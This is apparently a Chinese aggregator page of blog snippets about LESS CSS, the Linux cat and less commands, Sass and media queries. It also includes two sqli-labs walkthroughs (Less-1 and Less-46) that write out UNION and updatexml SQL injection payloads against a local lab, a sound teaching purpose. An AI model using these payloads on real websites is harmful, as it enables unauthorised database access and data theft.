less

Less (一种动态样式语言)

你说的曾经没有我的故事 提交于 2020-04-01 03:22:06
Less (一种动态样式语言)。 LESS是一种由Alexis Sellier设计的 动态层叠样式表语言 ,受Sass所影响,同时也影响了Sass的新语法:SCSS。 LESS是开源的,其第一个版本由Ruby写成,但在后续的版本当中,Ruby逐渐被替换为JavaScript。受益于JavaScript,LESS可以在客户端上运行(IE6+、Webkit、Firefox),也可以在服务端运行(Node.js、Rhino)。 在语法方面,LESS与CSS较为接近,一个合法的CSS代码段本身也是一段合法的LESS代码段。 LESS 提供 变量、嵌套、混合、操作符、函数 等一般编程所需的抽象机制。 例子: Windows操作系统需要安装下面的这个工具: WinLess工具 http://winless.org/ 注意:第一次运行,需要添加你的less文件所在的文件夹, 后缀名必须全部是小写字母.less 。 【在编写less的时候一定要先运行这个软件,保存文件的时候才会自动编译.css文件。】 运行WinLess之后,你就可以在任何编辑器中打开less文件进行编辑,只要保存文件,它就会自动生成对应的一个.css文件(并压缩,包括去掉注释)。 相关网站【推荐阅读】: LESS官方网站 http://lesscss.org/ LESS中国官网 http://www.lesscss.net/

Linux 查看文件 cat与 more 用法

假装没事ソ 提交于 2020-03-30 06:27:27
1、cat 显示文件连接文件内容的工具; cat 是一个文本文件查看和连接工具。查看一个文件的内容,用cat比较简单,就是cat 后面直接接文件名。 比如: [root@localhost ~]# cat /etc/fstab 为了便于新手弟兄灵活掌握这个工具,我们多说一点常用的参数; 1.0 cat 语法结构; cat [选项] [文件]... 选项 -A, --show-all 等价于 -vET -b, --number-nonblank 对非空输出行编号 -e 等价于 -vE -E, --show-ends 在每行结束处显示 $ -n, --number 对输出的所有行编号 -s, --squeeze-blank 不输出多行空行 -t 与 -vT 等价 -T, --show-tabs 将跳格字符显示为 ^I -u (被忽略) -v, --show-nonprinting 使用 ^ 和 M- 引用,除了 LFD 和 TAB 之外 --help 显示此帮助信息并离开 1.1 cat 查看文件内容实例; [root@localhost ~]# cat /etc/profile 注:查看/etc/目录下的profile文件内容; [root@localhost ~]# cat -b /etc/fstab 注:查看/etc/目录下的profile内容,并且对非空白行进行编号

sqli-labs:Less-1

偶尔善良 提交于 2020-03-27 19:38:27
Less-1实验是比较简单的,主要是:UNION联合查询注入 有一些基本的概念需要学习,这些概念以后肯定还会用到,我对这些概念还算比较清楚,但建议初学者一定要注意,逐步积累。但没有必要一来把所有关于mysql数据库和sql相关的都弄一边,可以一边学习这些漏洞一遍掌握这些概念。 union联合查询注入主要是要利用union这个语句,因此页面上必须有显示位(在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位) union注入的步骤一般有以下几步: 1、判断注入点 2、判断是整型还是字符型 3、判断查询列数 4、判断显示位 5、获取敏感信息 (在网上有很多讲union注入步骤的文章,这个是我看到最容易理解,以及遇到知识点比较适中的一个) 1、判断注入点 我们再Less1中看到,id将作为参数来使用,因此我们输入http://localhost/Less-1/?id=1,这是看到访问了第一个用户的用户名和密码: 输入 http://localhost/Less-1/?id=1 ' 这里是在id后面加了一个单引号,这是回显示数据库错误信息,这样就能判断出有注入点。这是一种比较简单的判断,有一些网站是不会有任何访问,后面应该有这样的情况。 2、判断是整型还是字符型 可以输入http://localhost/Less-1/?id

LESS ---在windows下编译less

时光怂恿深爱的人放手 提交于 2020-03-25 12:30:05
3 月,跳不动了?>>> 简介 ---- CSS(层叠样式表)是一门历史悠久的标记性语言,同 HTML 一道,被广泛应用于万维网(World Wide Web)中。HTML 主要负责文档结构的定义,CSS 负责文档表现形式或样式的定义。 作为一门标记性语言,CSS 的语法相对简单,对使用者的要求较低,但同时也带来一些问题:CSS 需要书写大量看似没有逻辑的代码,不方便维护及扩展,不利于复用,尤其对于非前端开发工程师来讲,往往会因为缺少 CSS 编写经验而很难写出组织良好且易于维护的 CSS 代码,造成这些困难的很大原因源于 CSS 是一门非程序式语言,没有变量、函数、SCOPE(作用域)等概念。LESS 为 Web 开发者带来了福音,它在 CSS 的语法基础之上,引入了变量,Mixin(混入),运算以及函数等功能,大大简化了 CSS 的编写,并且降低了 CSS 的维护成本,就像它的名称所说的那样,LESS 可以让我们用更少的代码做更多的事情。 原理 ---- 本质上,LESS 包含一套自定义的语法及一个解析器,用户根据这些语法定义自己的样式规则,这些规则最终会通过解析器,编译生成对应的 CSS 文件。LESS 并没有裁剪 CSS 原有的特性,更不是用来取代 CSS 的,而是在现有 CSS 语法的基础上,为 CSS 加入程序式语言的特性。 LESS 可以直接在客户端使用

Web前端一种动态样式语言-- Less

故事扮演 提交于 2020-03-23 13:07:15
变量 变量允许我们单独定义一系列通用的样式,然后在需要的时候去调用。所以在做全局样式调整的时候我们可能只需要修改几行代码就可以了。 // LESS @color: #4D926F; #header { color: @color; } h2 { color: @color; } /* 生成的 CSS */ #header { color: #4D926F; } h2 { color: #4D926F; } 混合 混合可以将一个定义好的class A轻松的引入到另一个class B中,从而简单实现class B继承class A中的所有属性。我们还可以带参数地调用,就像使用函数一样。 // LESS .rounded-corners (@radius: 5px) { border-radius: @radius; -webkit-border-radius: @radius; -moz-border-radius: @radius; } #header { .rounded-corners; } #footer { .rounded-corners(10px); } /* 生成的 CSS */ #header { border-radius: 5px; -webkit-border-radius: 5px; -moz-border-radius: 5px; } #footer {

liunx less 命令

不羁岁月 提交于 2020-03-22 15:13:08
1.命令格式: less [参数] 文件 2.命令功能: less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。 3.命令参数: -b <缓冲区大小> 设置缓冲区的大小 -e 当文件显示结束后,自动离开 -f 强迫打开特殊文件,例如外围设备代号、目录和二进制文件 -g 只标志最后搜索的关键词 -i 忽略搜索时的大小写 -m 显示类似more命令的百分比 -N 显示每行的行号 -o <文件名> 将less 输出的内容在指定文件中保存起来 -Q 不使用警告音 -s 显示连续空行为一行 -S 行过长时间将超出部分舍弃 -x <数字> 将“tab”键显示为规定的数字空格 /字符串 :向下搜索“字符串”的功能 ?字符串 :向上搜索“字符串”的功能 n :重复前一个搜索(与 / 或 ? 有关) N :反向重复前一个搜索(与 / 或 ? 有关) b 向后翻一页 d 向后翻半页 h 显示帮助界面 Q 退出less 命令 u 向前滚动半页 y 向前滚动一行 空格键 滚动一行 回车键 滚动一页 [pagedown] : 向下翻动一页 [pageup]: 向上翻动一页 四、使用实例 查看文件 less log2013.log ps查看进程信息并通过less分页显示 ps -ef |less

【sqli-labs】 less1 GET - Error based - Single quotes - String(GET型基于错误的单引号字符型注入)

别来无恙 提交于 2020-03-20 03:06:28
   GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面limit 0,1语句 http://localhost/sqli/Less-1/?id=1' order by 1# 字符#浏览器不会编码可以手动编码%23 http://localhost/sqli/Less-1/?id=1' order by 1%23 order by 4时页面不正常,推测字段数为3 使用union查询,查看字段显示位置 http://localhost/sqli/Less-1/?id=1' union select 1,2,3%23 没有出现1,2,3 数据库中执行,结果正常 查看源码发现,使用mysql_fetch_array函数只选择了一条结果    那么只要时union前面的查询返回为空就行了,发现有两个字段位置可以使用 http://localhost/sqli/Less-1/?id=a' union select 1,2,3%23 http://localhost/sqli/Less-1/?id=a' union select 1,VERSION(),USER()%23 得到数据库版本mysql 5.7.20-log ,用户root

第一篇 CSS预处理器Sass和Less

Deadly 提交于 2020-03-18 22:40:35
3 月,跳不动了?>>> Sass和Less Sass和Less都属于CSS预处理器,CSS预处理器定义了一种新的语言,其基本思想是用一种专门的编程语言,为CSS增加了一些编程的特性,如:变量、语句、继承等概念。将CSS作为目标生成文件,然后开发者就只要使用这种语言进行CSS的编码工作。 官网地址 Less官网地址: http://lesscss.org/ Less VSCode插件:Easy LESS Sass官网地址: https://sass-lang.com/ Sass VSCode插件:Easy Sass 编写Less文件 (后缀名.less) 备注:新建hello.less文件,然后写入代码,然后保存后会自动编译生成一个同名的css文件。 编写Sass文件 (后缀名.scss,老版本的后缀名为.sass) 备注:新建hello.scss文件,然后写入代码,然后保存后会自动编译生成一个同名的css文件和一个压缩后的css文件。 常用语法大纲 1. 注释 Sass Less 2. 变量 Sass ($符号) Less(@符号) 来源: oschina 链接: https://my.oschina.net/mj20200214/blog/3197704

Defining CSS media queries within selectors

你说的曾经没有我的故事 提交于 2020-03-17 06:44:31
问题 Are there any issues (performance is my primary concern) if instead of defining css selectors within media queries (example 1), you define media queries within css selectors (example 2). Example 1 - css selectors within media queries @media (min-width: 600px) { .foo { ... } .bar { ... } .hello { ... } .world{ ... } } @media (min-width: 1000px) { .foo { ... } .bar { ... } .hello { ... } .world{ ... } } @media (min-width: 1500px) { .foo { ... } .bar { ... } .hello { ... } .world{ ... } }

Less(46)

你。 提交于 2020-03-14 12:43:49
1.看一下php      (1)用order by 注入来看看             (2)通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入      ?sort=1+asc            ?sort=1+desc              2.报错注入   (1)爆库:?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))        (2)爆表:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="security" and table_name not in('emails','referers'))),0))              (3)爆列名:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('first_name','last